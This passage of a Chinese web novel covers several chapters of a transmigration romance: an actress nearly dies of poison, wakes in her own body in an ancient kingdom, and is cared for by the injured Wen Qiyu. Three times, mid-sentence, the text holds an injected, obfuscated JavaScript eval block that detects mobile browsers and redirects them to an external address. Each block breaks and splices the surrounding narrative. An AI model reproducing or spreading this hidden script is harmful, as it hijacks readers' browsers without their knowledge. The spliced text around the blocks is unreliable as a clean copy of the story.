她悄悄进了那间屋子,关上门,打开箱子钻了进去,然后平静地躺在里面,听着外面的脚步声越来越近,门被打开了,又被迅速地关上,叫喊声此起彼伏,愈加急促,也愈加慌乱,覆盖了整间宅子。 与宅子里的混乱相比,叶之萤却越来越平静,她的脑子里像放电影一样自动将这里短暂的几个月生活悉数回忆了一遍。听说,人在临死时就看到“走马灯”,看来,自己是真的要死了。 可奇怪的是,这段“回马灯”只独独记录下了与温其玉相关的片段,而没有其他。他第一次拆穿她身份时的冷漠,他被她的话气到时的愤怒,他配合她演戏时的温柔,他看到她缝的软垫时的欣喜,他指责她可怜他时的痛苦,他问她是不是要走时的隐忍…… 那些画面越来越多,多到她的大脑都快装不下了! 药力似乎还没发作,酒劲却已经开始上头。她恍然想起自己已经很多天没有见过温其玉了,而以后也没有机会再见他了! 刚刚屋里光线太暗,她又一时慌张,根本看不清、也没敢看他的脸,只撞上了那双清亮的瞳仁。 她突然很想再看他一眼!疯狂地想再看他一眼! 她想在离开之前再见他一次! 这欲望前所未有的强烈,强烈到她的双手已经不受大脑控制,私自推开了箱子。 “阿力,阿卓,找到了吗?”是关若飞的声音。 她赶紧又重新盖好箱盖。 “没有找到,整个后院前院都找遍了,她不会是出去了吧?”阿力的声音也很慌张。 “可是兄长说听她的脚步声是往后院走了!” “我刚看到后院的门没锁,是不是出去了?”阿卓大喊道。 “院里已经全找了,我们出去找吧,阿力往西,阿卓你往东,我往北去找,快点!” 很快,杂乱的脚步声快速靠近,后门被重重地关上,随后,整个院子又安静了起来。 她等了一会儿,确定他们已经走远,才晃晃悠悠地爬出箱子,出了房间走到前院,踉跄着迈进了温其玉房间的门槛…… 床上的人目光一直盯着门口,在看到她进门的那瞬间,他脸上原本慌张的神情微微放松了一下,但很快,他就发现了她的不对劲。 “你……喝药了?”望向她的眼神再次被恐惧覆盖。 她没有作答,只是用已近迷离的目光深情地在他脸上游走。 死而无憾了! 可眼前的人此刻满心担忧的只有她是否平安,对她的深情完全视而不见,见她不语,更是急得朝她低吼:“你到底喝没喝?” 自己特意赶来见他最后一面,他就不能态度温柔些吗?叶之萤心里一委屈,就站在原地哭了起来。 “你……你别哭啊!刚刚是我太害怕了,吓到你了?”温其玉见她流下了眼泪,立刻收起了凶巴巴的态度,可那双眼睛依旧扒在她脸上想要寻找蛛丝马迹。 “我……喝了一坛酒。”看他着急的样子,叶之萤突然有些不忍心告诉他真相了。 果然,紧紧扒在她脸上的目光在听到这话后明显柔软了。 “我知你想离开,我会尽力帮你想办法的,你先安心住在这里,别怕,定会有法子的!过来,到我面前来。”他的声音是那么温柔,以至于叶之萤陷在这样的温柔里,都不舍得离开了。 可腹部的绞痛、眼前的天旋地转,还有口腔中时不时涌上的血腥味,这些症状都提醒着她,必须离开了。 她缓慢走到床边,撑着床沿蹲在了地上,抚摸着温其玉苍白的脸颊,笑着对他说:“我一定会永远记得你的。” 眼前那双如水般温柔的眼睛在听到这句话后再次变得惊恐起来。 “你喝了?”他颤抖着双唇问她。而后,他开始使尽全力对着门外大吼,试图叫人进来。 她按住了他因吼叫而起伏的胸腔:“外面没人,阿力他们都去街上找我了,还有最后一点时间,不如我们说说话吧!” 他红着眼眶命令她:“去找大夫!” 她一边摇头,一边试图安抚着眼前激动的人:“温其玉,虽然大家都觉得你不想再见到李渔这张脸了,但是我知道的,你没有,你也不介意。” 床上的人拼命点头:“我不介意,叶姑娘,我告诉过你的,我一点也不介意,你不是她,我断不会只因容貌便对你有偏见,你亦不必因此自寻短见!快去找林大夫,现在解毒的话,或许还来得及!” 叶之萤却道:“你可以不介意,可是我不行。从换到她身体里的第一天起,我就讨厌她的一切!我那么完美的外表,那么正直的品格,凭什么一辈子都要藏在这样平凡又歹毒的躯壳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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叶之萤睁大了眼睛。他在说什么?!原来他什么都知道,原来他一点都不糊涂,那他为什么要那样说自己? “我知道,你不过是看我快死了,于心不忍,才说这些话骗我的吧?虽然你讨厌我,但应该还不至于讨厌到想我死的程度。” “不!不!”他拼命摇头反驳她的话,眼底尽是恐惧,“叶姑娘,快去找林大夫吧,再拖下去,你真的会死的!倘若你以这样的方式死去,你就再也没有机会回家了!相信我,姑且留在这里,我会好好待你。就算你真的回不去了,我也会帮你的!你不用怕没有依靠、无家可归,你有我,只要你愿意,我这一生都做你的依靠,我会一直陪着你,帮你适应这里的生活,教你赚钱。你想要的一切,我都帮你办到!相信我,你在这里一样可以自由,有尊严!你快去偏厅找管家,快去!快去!” 他的语速极快,手指无力地抓着床铺,明明心急如焚,语气却始终卑微。 叶之萤却麻木地跪在原地一动不动。 “叶姑娘,我动不了,无法替你去请大夫,我求求你,你快去找大夫!”温其玉见她还是不动,只能躺在那里绝望而卑微地求她。 “谢谢你……愿意在我走之前说这些话来……安慰我。”内脏开始翻江倒海,她已经无法流畅的说完一段话,只能边说边停下来喘气。 “叶姑娘!叶之萤!”他努力将头靠近她,惊慌失措地叫着她的名字,又将头艰难地转向门口,大声喊道,“有没有人?来人!来人!” “温其玉……”她拉住他正在抽搐的右手,强撑着逐渐涣散的意识,跟他做最后的告别,“我本来打算……不再见你了,一个人……悄悄地走,但我躺在箱子里时,满脑子……都是你!几年前,我在草原拍戏,有一匹白马……和我日夜相伴……整整三个月,可是后来……我走得太匆忙,都没有和它……正式告别,这么多年了,我还是……很想它。所以……我要在走之前……再见你一面,这样,以后每每……想起你,才不会后悔……没能和你告别!” 她笑着望向床上的人:“再告诉你一个秘密,你穿……盔甲的样子……很帅!很帅!我想……我可能……喜欢上你了!” 她的声音越来越虚弱,意识也越来越涣散,最后那句话,连她自己都没听清楚。泪水从她的眼眶流出,越过鼻梁,滑入另一边的鬓角,但她并不难过,相反,在这里的最后一秒,能够在他身边握着他的手离开,是幸福的事啊。她望着他的脸,将生命中最后一个微笑送给了他。 “叶姑娘,不要睡!对不起,对不起,我不该对你说那样的话,对不起!那日,我意识到你或许对我产生了异样的情感,怕你越陷越深、会因此对这里心生留恋,亦不想成为你离开的羁绊,才故意说那样的话……” 叶之萤大脑里解析语言的那个区域似乎已经死机了,以至于她明明听到温其玉在自己耳边说话,却听不懂他在说什么。那张近在咫尺的脸在她眼前越来越模糊,她趴在床边,头靠在他的身上,艰难地将手伸向他的脸,慢慢失去了意识…… 31. 我是叶之萤 “夜莺!”是妈妈的声音!叶之萤环顾四周,发现周围一片空白。 “妈!”她一边叫着,一边四处张望,寻找她的身影。 渐渐地,她眼前出现了一张白色的桌子,上面放着一台心电图机,再往旁边看,那是一张医院的床,床上躺着一个人,全身上下插满了管子。那是个女人,叶之萤认得她…… 那是她自己! 她正躺在医院的床上,浑身插满了管子! 发生了什么?为什么自己可以以旁观者的角度观察着自己的身体? 她心里充满了疑惑和恐惧。 再往旁边看,她的妈妈正拉着她的手坐在病床边,她已经很久没见过妈妈了,大概有两年?还是三年?已经记不清了。只是,她头发凌乱,面容憔悴,双眼红肿,与自己记忆中的母亲截然不同。 “妈!”她又叫了一声。 妈妈并没有抬头看她,反而看着病床上那个她。 “夜莺,别怪妈妈!”她开口了,声音听起来是那样痛苦,“妈妈不想放弃你,不管怎么说,你都是我十月怀胎生出来的孩子!但是医生说你已经没有希望清醒了,你的内脏已经开始慢慢溃烂,再强行留你,只会让你万分痛苦!妈妈不舍得你走,但是更不想看着你受罪!对不起,我的女儿!” “不要,妈!不要放弃我!”她恍然明白发生了什么,疯狂地向母亲乞求,可母亲根本看不见她。 “你的朋友们都在外面,再见他们最后一面吧!”母亲哭着起身,打开了病房门。 经纪人Ada先来到了病床前。她看起来也是非常憔悴。 “Ada?”她又试着叫她。但Ada和母亲一样,都感觉不到她的存在。Ada俯下身,握住病床上那个叶之萤的手,痛哭起来。 “Ada,我就在你身边!你看看我啊!”她想要摇晃Ada的身体,却始终摸不到她。 她飘到床边,躺在床上那个叶之萤的身上,试图让自己重新回到身体里。可她如今轻飘飘的,无论怎么使劲也不能与躯体嵌合,就好像一只氢气球,即使再用力往地面按,只要一松手,立刻就会飘上天去。 “谁来救救我!”她绝望地趴在床边大哭起来。眼看着一个又一个好友接连进来与自己告别却无能为力。 最后,一个身穿白大褂的医生走了进来,他来到了她的身边,将她从上到下打量一遍,又看向她的母亲,最后一次向她的母亲征求意见。 叶之萤疯了似的朝那个医生狂吼:“不要!不要!我还没死,别放弃我!妈,别放弃我!” 母亲点了一下头,手便颤抖着伸向那根插在她鼻中的管子…… 她飞扑过去,想要拽住母亲的手,却拽不住,只能疯了似的哭喊:“不要拔管子!不要拔!妈,我求求你,再救救我吧!不要拔!不要……不要……不要……” 她拼尽全力的撕扯并没能阻止母亲的动作,而声嘶力竭的叫喊也没有人听到,随着那根管子离开她的鼻腔,桌子上那台机器上显示的曲线也骤然变直,叶之萤真的死了,法律意义上的死了…… 她眼前的病房逐渐变得模糊,人影也渐渐朦胧,最后终于变成了漆黑一片。她仍然不能释怀刚刚发生的那一切,哭得不能自已。慢慢的,她的大脑开始清醒,仿佛刚才的一切都只是做了一个梦…… 她拼命让自己睁开眼睛,发现自己还趴在温其玉的床边,还拉着他的右手。原来真的只是一个梦!她还没从刚才的痛苦中完全清醒,忍不住又抽泣了两声,用手抹了一把脸上的眼泪,才发现泪水已经浸湿了他的被褥。 奇怪?自己不是喝毒药了吗?为什么还能醒过来? 而自己的身体,除了头还有些晕以外,好像再也没有哪里不舒服了,刚才内脏的痛苦更是完全一扫而空,就像从来没有中毒过一样。她这才反应过来事情的诡异,赶紧望向眼前的温其玉。 他还是一动不动的躺在床上看着她,似乎已经看了很久。看到她重新醒了过来,他的表情很难形容,有惊喜、有激动,但更多的是……震惊和陌生! “嘶!”一阵疼痛从她的双膝传来。腰和腿都已僵硬,膝盖也在地上跪得生疼,于是她攀着床沿,慢慢地起身,却在起身时惊讶地发现,自己穿的不是长裤,而是一条白色复古蕾丝礼裙——正是在晚宴上穿的那条。 她愣了一下,而后急忙低头打量自己的身体:裙子大大的V字领直开到胸前,白色的蕾丝布料紧紧包裹着苗条的身体,不仅勾勒出完美的腰线,更衬得本就雪白无瑕的皮肤更加光彩夺目。再往下看,长长的裙摆微蓬,一双修长的美腿在白纱下若隐若现。 …… 这哪里是李渔分萤?这分明是叶之萤本萤啊!是她叶之萤本人啊! 她急忙踉跄着起身跑去拿铜镜,因为太着急,刚一步就崴了左脚。 “当心!”床上的人急着提醒她。 可她现在哪里还顾得上理会脚疼不疼?连滚带爬跑到桌边拿到铜镜后,只一眼,她就明白温其玉为何要用那样的眼神看自己了。 镜子里的人发如青黛、肤若凝脂、面若桃花、唇如含珠,生得一对弯月细眉,眉下一双妩媚狐狸眼,自两眼间隆起挺拔的山根,精致高挺的鼻尖下是花瓣般娇嫩饱满的嘴唇,上唇微翘,甚是动人。 她对着铜镜,看着那头如海藻般乌黑茂密的卷发以及锁骨间那颗巨大的祖母绿宝石发愣,梦里的一幕幕又在她脑海中不断地重复: 她被自己的母亲亲手拔掉了维持生命的管子…… 她被救护车送进了医院…… 她在后台打电话时突然心脏难受倒地…… 不,那不是梦!她终于将整件事情连贯的串在了一起。 自己是在一场活动的后台打电话时,因为和电话那边的人发生了激烈的争吵而引发心脏骤停,送进医院后始终昏迷不醒,灵魂却不知怎的穿越到了邺国李渔的身体里,后来,她病重不治,她的母亲拔掉了维持她生命的管子,她在现实世界真正的死去了,所以现在,身体也来到了这里…… 也就是说,自己再也回不去了! 铜镜从她虚脱无力的手中跌了下去,她整个人也瘫软得差点跌倒。 “叶之萤?”是温其玉的声音。他叫得有些犹豫,似乎不确定眼前的人是不是她。 听到他的声音,叶之萤再也抑制不住心中的委屈:“温其玉,我回不去了!我妈妈不要我了,她放弃我了!” “我知道,我都听到了!过来,到我这里来!”在确认了她就是叶之萤本人后,他很快就接受了她这个新形象。他的声音温柔极了,像漫天大雪的严寒中突然掠过的一阵暖风,将瑟瑟发抖的叶之萤严严实实地包裹了起来。 她一瘸一拐地走到他身边,趴在他身边大哭起来。 从今往后,自己再也不是那个众星捧月的大明星,再也不会有奢靡自在的生活可享受了。她永远离开那个繁华若梦的花花世界了。 从今往后,她就是邺国的女人了,她会永远留在这里,过着和这里大部分女人一样的生活:或者找个能养活自己的男人,给他生几个孩子,相夫教子、洗衣做饭,麻木地过完这如附属品般被动的一生;或者为了保有自由坚持独身一人,但是饥不果腹、衣衫褴褛、穷困潦倒,最终在落魄和贫穷中凄凉死去…… 无论哪种生活,都不是她想要的,可她无力改变这一切。这种无力感游走过她的全身,令她倍感痛苦,她只能哭,不停地哭,最后,竟把自己给哭晕了。再醒来时,一阵阵难捱的头痛不断向她袭来。 “是不是哪里不舒服?”温其玉一脸担心。 “头疼!”她的声音因为长时间剧烈的哭喊变得有些沙哑,而后抓起温其玉的手,放在了自己的太阳穴上,“这里。” 她能感觉到他的手指轻微在她的发丝间摩擦。那力度太轻了,根本起不到任何按摩的作用,但饶是如此,却依然可以让她心神回归安宁。 “我该怎么办?”她哑声着问他,忍不住又流了两行眼泪。 他的手指又在她的太阳穴轻按了两下,而后劝她道:“这世间有许多事情都是我们无力控制的,我们能做的只有坦然接受。许多人总是想要在自己的生命里做出一些惊天动地的事情,似乎只有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991654|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样的生命才是有意义的。但其实生命何其脆弱,脆弱到无力抵抗任何灾难。一个人若是有幸能够平安、健康的走完一生,就好比一个士兵上了数百次战场却依然毫发无伤,已是足够好运之事。你之前问我活着的意义是什么?于我而言,平安、健康,就是活着最大的意义。在这世间,物种虽有高低之分,但唯独一件事是平等的,那就是所有人都只有一次生的机会。而你,却在失去第一次生命后,又拥有了一次重新开始的机会,能够拥有两次健康的生命,何其幸运!既是如此,这一次便不要再辜负自己,好好活着,好吗?” 两次生命?他的话如同茫茫荒漠中的突然出现的指路牌,让正被困在迷途中焦头烂额的叶之萤一下子有了方向。是啊!原本自己已经和这世界永远的告别了,但如今竟然又重新活了过来,真不可谓不幸运!这世间又有几人能有此机会?想到这里,她不免心生劫后余生的庆幸。 “可是我以后都要一个人在这里生活了,温其玉,我要怎么活下去?我害怕!”她的情绪已经不似刚才那般激动,只是难免开始生出许多对未知生活的担忧和迷茫。 眼看安慰奏了效,温其玉的表情也轻松了不少:“你自然不会是一个人,有我在,我会陪着你,帮你适应新的生活,教你如何在这里生存。你的生活由你自己掌控,你定会在这里过上你想要的生活。” 他的声音恬淡温柔,不徐不急,却有着千般笃定的力量,就像漆黑恐怖的小路倏尔撒下温柔皎白的月光,那抹明亮和安宁不仅驱散了叶之萤的迷茫,更安抚了那颗惊慌失措、动荡不安的心。 她抬起头,一双含泪的眼睛巴巴地望着他:“真的?你说话算话!” 他轻轻点头。 而她看着他真诚的双眸,却又一次陷入了忧虑。 他能如何帮自己呢?无非是朋友间的互相照应,其中一人在另一人遭遇低谷时对其给予一些力所能及的经济上的扶持罢了,帮得了一时,帮不了一世!更何况,自己和他连朋友都算不上,又能指望他多少…… 他温柔一笑,安慰她道:“不要自寻烦恼,我不会丢下你一人不管,除非哪一日你不再需要我,主动让我离开。” 她惊讶于他竟一眼看穿了自己的心思,呆呆地望了他许久,才赶紧摇头回答:“不会的,我不会的!” 因太想表明态度,她的摇头幅度很大速度也很快,温其玉那只原本就虚搭在她头发上的右手被晃得滑了下去,两根手指却又勾在那凌乱卷曲的发丝里。 他怕弄疼了她,想把手指从她发丝中取出来却无能为力。她握住他的右手,很轻松就将他的手指从发丝中取了出来。 “抱歉,弄疼你了!”他的目光落在她的卷发上,沮丧地跟她道歉。 “没事,是我的头发喷太多发胶了。”她笑着安慰他。 他望着那一头蓬松弯曲的卷发,道:“你的头发,很特别!” 而后,他的目光从她的头发上转移到她的脸上,如水般温柔的眼波慢慢流转,像是在端详一件绝世宝物,表情严肃而专注。 叶之萤的美貌是客观的,即使是身处美女如云、拉踩盛行的娱乐圈,也从无一人敢轻视和不屑,纵然清高如温其玉,也不会例外。 她想起了之前曾对他形容过自己的长相,或许当时的他并没有把她的话放在心上,所以今日得见她的庐山真面目才会如此失神。 于是她笑着问他:“我没骗你吧?” 语气中无不充斥着得意。 他收回了目光,并没有因自己的失态被拆穿而尴尬,反倒大方承认对她外貌的倾慕之情:“灿若春华,姣如秋月。从前我不喜《洛神赋》,总觉得甄宓的容貌被吹捧过甚,不免嘲笑曹植痴傻,今日有幸见到叶姑娘真容,才终于理解了曹植。” 说完,他坦诚地露出一抹浅笑。这一笑,忽的触碰到叶之萤心底。 平日里,关于她容貌的吹捧实在太多。可温其玉与他们都不同,他大方、真诚,言之有物,毫不油腻,全无平日里那些阿谀奉承之人的猥琐与虚伪。 “这是我听过最好听的夸赞,谢谢你!” 32. 适应新形象 说话间,叶之萤自然地握住了温其玉的右手。温其玉垂眼一看,顿时面露尴尬。 “怎么了?以前拉你的手也没见你不好意思啊?我还给你全身按摩了呢!”叶之萤不服气,故意把他的手拉得更紧了。 他吞吞吐吐半天还是没有说话,右手却一直在使劲想挣脱,自然没有成功。 她知道他还没适应她的新形象,便可怜巴巴地求他:“虽然我样子变了,但我还是原来的我,跟你相处了几个月的我,别当我是陌生人,可以吗?” 说到最后一句话时,她的眼泪又差点涌了出来。在这个时刻,她脆弱得不堪一击,眼前的人是自己唯一的依靠了。 他看到她又要哭,眉心立马皱在一起:“你别难过,我只是……只是还没习惯你如今的样子。” 右手也不再使劲挣脱,而是任由她握在手心。 叶之萤一听,又着急起来:“那你要什么时候才能习惯?万一你一直都习惯不了呢?” 他笑言:“叶姑娘,我既然答应会照顾好你,就定会信守承诺,你不必为此担心!” 本是安慰她,却不知哪里没说对,不仅没起到安慰的作用,反倒又惹她变了脸,见她一把松开了自己的手,温其玉战战兢兢地看着她,不敢再开口。 她解释道:“温其玉,虽然我现阶段确实需要你的帮助,但我不想你是为了信守承诺才勉强照顾我,强扭的瓜不甜,更何况你本来对我就没有任何责任,如果你真的看我这个样子不顺眼,就让我走吧,别管我了!” 听完这话,温其玉松了一口气,又笑了起来。叶之萤不解地看着他,不知道他在搞什么名堂。 他笑着开口道:“我何时说过照顾你是勉强的事?我只是说需要习惯一下你的新形象,可没说过看它不顺眼。” “可你……” 她刚想反驳他,就被他的话打断:“当一个人的生活突然发生翻天覆地的变化,熟悉的环境变得陌生,拥有的一切全部失去,原本轻易可以掌控的事情再也无法掌控,轻松可以做到的事情再也做不到时,难免会生出许多悲观的想法。叶姑娘,我知道你现在心里一定充满了恐惧,没有安全感,才未免想得多了些。正如你所说,我对你本无责任,因此,我对你所做的承诺皆是自愿,我自愿照顾你,自愿帮助你,直到你不需要为止。” “为什么?”她反问他,“我们非亲非故,为什么要这样帮我?” 他看着她,目光变得更加柔和:“因为你也同样帮过我。” “就因为这个,你就自愿把我下半辈子都包了,是不是有点亏本?”她继续追问。 他道:“是你发现李渔给我下毒之事,也是你为我寻得的解药,我的身体原本已经没有希望了,是你又给了它生机。你多次不顾自己的身体以身试毒,这份恩情我无以为报。如今你孑然一身,我自然要施以援手。” “好吧,还算你知恩图报!”她擦了把眼泪,又想起了晕倒前他说的话,问他,“我记得你刚说等我毒解了,有话要跟我说?” 听到她的话,他有些慌神,却试图佯装镇定。 她不依不挠地追问道:“你说你知道我对你的照顾不是出于可怜,你说等我毒解了就给我解释,我想要你怎么道歉都可以,那现在……” “少爷,少爷!” “兄长,这附近都找遍了,没见……” 突然,阿力和关若飞的声音同时从门外传来,打断了叶之萤的问话。她这才发现,天早已墨黑。只见二人急匆匆地跑了进来,刚一进门,看到她,都惊地收脚立在原地。 “这……这位是……”关若飞大为震惊。 叶之萤撑着床沿站起来,关若飞将她上下打量一番,目光已然入了神。 “是我,叶之萤。”她镇定开口。 “什么?夜莺?” “叶小姐?” 二人同时惊呼出声,一齐将目光转向温其玉,特别是关若飞,眼珠子睁得都快掉出来了。看见温其玉点头,二人又将目光重新投在她的身上,反复打量起来。 “夜莺,真的是你?”关若飞一副不可思议的样子。 叶之萤耸了耸肩。 他突然朝她大步走来,走到她面前站定,凝视她许久。叶之萤看着他脸上的神色从震惊渐渐转为痴迷,眼里也散发出难以掩饰的光芒,而后激动感叹道:“这哪里是夜莺,分明是天上下凡的仙子啊!” “油腔滑调!”发生了如此不可思议的事,正常人都需要时间去消化,连她自己都不能一下子就接受,关若飞竟然可以像无事发生一样淡定地开启彩虹屁模式,适应能力着实快得惊人。 谁知他听她这么说,就像是得到了什么暗号似的,激动地一拍手,转身就兴奋地对温其玉说:“就是这个感觉!兄长,看她的表情和语气,她果然是夜莺!” 叶之萤的白眼简直要翻到天上去了。 “阿力!”温其玉没理他,直接把阿力叫到床边,“叶姑娘如今不适合再睡在那间房里,去把你的房间收拾一下,把叶姑娘的东西搬过去,从今日起,叶姑娘先暂时睡在你的房间。另外,把关衙内现在住的那间房隔壁的客房收拾一下,打扫干净,换上新家具,布置得舒服雅致些,到时让叶姑娘搬过去住。” “是!”阿力一边应着,一边忍不住扭头打量她,显然是还没适应她的样子。 “还有,为叶姑娘备足日常用品,备几套换洗衣裳、头饰,还有……” 趁他犹豫的功夫,关若飞立马抢了他的话:“还有妆粉、胭脂,那些姑娘们喜欢的东西,都买上!你一个人若忙不过来,尽管叫阿卓和你一起,好了,去办吧!”又扭头对着叶之萤的脸感慨起来,“夜莺,如若不是亲眼看到,我简直难以相信世上竟有如你这般美丽的女子,这是真实的你吗?我不是在做梦吧?” 说话间,他还使劲掐了一把自己的胳膊:“嘶!是真的!世上竟真有如此绝色的女子!” 叶之萤根本顾不上理他这番吹嘘。她听到温其玉要为她布置新的房间,还考虑到她继续住在李渔的房里情绪可能会受影响,让她先搬到阿力房里去,心里一阵温暖。温其玉确实是个可靠、贴心的人,或许这段日子真的可以先依靠他,等一切稳定下来后再做打算…… 想着想着,她便渐渐安下心来。 “叶姑娘,当下可还有哪里不舒服?”温其玉关切地问她。 “没有了,我现在感觉……都挺好的。”嗯,头不疼了,胃不恶心了,心里也总算踏实了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991655|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你的脚踝呢?”他问。 随着温其玉的目光,她这才低头去看自己的左脚,或许是刚才全部的心思都放在担心自己的命运上,没空关注脚踝的伤势,也不觉得疼,这会儿经他一提醒,脚踝那里就像是打开了痛觉开关,一阵剧烈的灼烧感袭来,她才发现刚才那一下其实扭得不轻。 他看她表情突变,立马叫关若飞搀扶她坐在床边。 再说到这个关衙内,别看平时一副油腔滑调、嘴没把门的样子,但面对现在这个她,竟然紧张得连她的胳膊都不敢碰。伸了半天手,都不知道该扶她哪里才对,最终还是她自己一瘸一拐慢慢挪到床边坐下。 坐下后,她还不忘嘲笑他一番:“看你平时说话那么放肆,原来是有贼心没贼胆啊!” “你……你……你……你穿成这样,你们那里的女子都这样穿吗?”他结巴了半天,脸都被她的话逗红了。 “是啊!”她干脆地点头道。 他显然被吓了一跳,道:“衣不蔽体的,这……这……这成何体统啊?” 这话她就不爱听了:“怎么就不成体统了?怎么就衣不蔽体了?该遮的地方都遮了,有什么问题?” 说完,她低头看了眼胸前的深V,呃……对于这个年代的人来说,确实开得有点低…… 温其玉轻咳一声,不着痕迹地换了话题:“若飞,去请林大夫来,为叶姑娘检查一下脚伤和身体情况。” 关若飞应了一声便要离开,却被叶之萤一把拉住了胳膊:“哎……不!不!不!别去!” 这一抓,吓得关若飞抱着胳膊仓皇而逃,差点摔了个跟头。 叶之萤见他如此夸张,实在无语:“不是,你有事吗?躲什么呀?” “我……我没事。”关若飞分明已经紧张得面红耳赤、心跳加速了,却还要嘴硬。 “为何不让若飞去?”床上的人此时不明就里地问她。 叶之萤指着自己的衣服说:“你看我这个样子,连他都被吓成这样了,林大夫来了肯定更免不了一番好奇。况且现在都这么晚了,林大夫肯定也睡下了,我只是扭了一下而已,就别因为这点小事打扰林大夫了吧!” 温其玉觉得她说的也有道理,便说:“既是如此,我先帮你检查一下。” “嗯?你?”她以为自己听错了,一脸震惊。 已经退出去老远的关若飞看她对温其玉的医术有所质疑,忙上前替温其玉正名:“你是在怀疑我兄长的医术吗?兄长带兵多年,别的不说,检查、治疗跌打损伤这种问题,可比林大夫技艺精湛多了!当年兄长带的那些兵,在边境的每场战役都几乎是全员作战,靠的就是兄长高超的医术。还有,几年前我坠马,左臂受了很重的伤,连宫里的御医都说我的胳膊肯定要废了,结果兄长只用了三个月,就让我的左臂恢复如初!” “真的吗?那你也太厉害了吧!神医啊!”听他说完,叶之萤望着温其玉的眼神中已经透出深深的崇拜。 “把脚放在这里。”温其玉淡定地用眼神为她指了位置,并没有理会她的花痴,好像根本没听到二人对他的夸赞。 “闷骚!”叶之萤小声嘀咕了一句。 “什么?”这回他是真没听懂。 “夸你厉害呢!” 33. 为她治伤 叶之萤脱了鞋,把脚放在他床上刚刚他指定的位置,关若飞原本已经平静了些,此时又紧张地往后退了两步。 温其玉显然并未相信她的胡言乱语,但也没有再深究,吩咐躲得老远的关若飞拿了油灯过来照着,便开始仔细检查她的脚踝。 而此时的关若飞,眼睛飘来飘去,把把这屋里几乎每个角落都看遍了,就是不敢往叶之萤身上看,举着油灯的手更是抖得停不下来。 他的慌张和某人的淡定形成了强烈的反差。 “若飞,当心灯油!”温其玉眼看晃得如巨浪般的灯油随时都会倾洒到叶之萤腿上,紧张提醒道。 可关若飞的手实在做不到不抖,他索性把油灯放在了床边的凳子上,灰溜溜跑出门透气去了。 “他这……他也太……” “脚踝再往我这边转一些。”叶之萤正要吐槽,就被温其玉的话打断了。 “再转一点。” “能否再转些?” 由于温其玉不能动,所以只能是叶之萤来回动着脚的位置去迎合他的视线。可坐在床上左腿能活动的角度实在有限,即使叶之萤已经很配合他了,脚趾上灿若银河的美甲也在他眼前不停地变换着色彩,可他仍然没法看清脚踝的每一处。 “我还是坐凳子上吧。”她起身端起油灯,坐在温其玉对面,把左脚搭在床上。 而温其玉在看到她掩在薄纱之下那光滑纤长的小腿时忍不住喘了口气,才重新投入为她检查。过了一会儿,他道:“试着轻轻活动脚踝,若是感觉到疼痛或活动受限就停下。” 叶之萤照他说的做,做着做着,她才发现为了能看清楚,温其玉的脸已经快贴上自己的脚了。而自己的脚上除了有好看的美甲外,还有几处被高跟鞋磨破了皮的伤口。 似乎太近了些,一股羞耻感袭来。 “检……检查好了吗?” “再坚持一下,很快就好。”他以为她是因为姿势难受才着急,还耐心安慰她。 之后,他又指导她按压脚踝的某些部位,确定了受伤的具体位置,这才结束了检查。 叶之萤迅速收回左腿,坐在床边紧张得一言不发。 “只是普通扭伤,不打紧。”他道。 叶之萤尴尬未消,低着头来回抠指甲。可她实在想不通,自己是怎么了?只是被人检查个脚踝而已,连身体接触都没有,怎么心就控制不住砰砰猛跳呢?这可不是自己的风格啊! “你的脚踝以前受过伤。”他并不是在问她,而是在陈述一个事实。 她惊讶地抬起头。自己的左脚踝确实骨裂过,他竟然连这个都能看出来?! “你那里的骨头有严重的增生和变形,应是起初的骨伤未完全养好,后又未能得到好的照料、反复受伤所致,平日里遇到阴冷潮湿的天气便会酸痛,并且只要稍不留意,同样的位置就极易再次扭伤。方才我观察你的脚踝情况,已经扭伤过四五次。”他看出了她心里的疑惑,耐心跟她解释,而从他的眉宇间,叶之萤读出了同样的疑惑。想必他是在奇怪,她怎么能在同一个位置扭伤这么多次? 她震惊地感叹起来:“你好厉害,只看一眼就能说得分毫不差,佩服佩服!”又道,“我的脚伤只是小问题,没事的。” 他见她没有正面回答,看着她脚上的那些伤,又瞥了一眼地上那只银色高跟鞋,道:“就我方才初步检查,你的骨伤很严重,并不是你所说的‘小问题’。另外,若我没猜错,伤势加重是常年穿这种鞋导致的,而你如今的伤势,穿这样的鞋,定会十分痛苦,为何还穿?” “你说得没错,但我有职业需求,再疼也得穿。”她回答得风轻云淡,怕他不懂,又解释说,“为了挣钱嘛!” 他的目光在一刹那黯淡了下来,好像明亮的月光突然被薄云笼罩,变得柔和而悲悯。 叶之萤以为他是心疼自己受伤,急忙安慰他:“你不用替我难过,真的!不过就是磨破几层皮,偶尔骨头疼一下而已,和这点小伤比起来,我收获的金钱、名利可多太多了,低投入高回报,性价比极高,所以……” 所以现在gameover,只能两手空空在这个地方重开一局,而那些自己日夜追逐的金钱和名利,到头来不过是一场空,生不带来死不带去。她恍然间明白了他眼神中的深意。 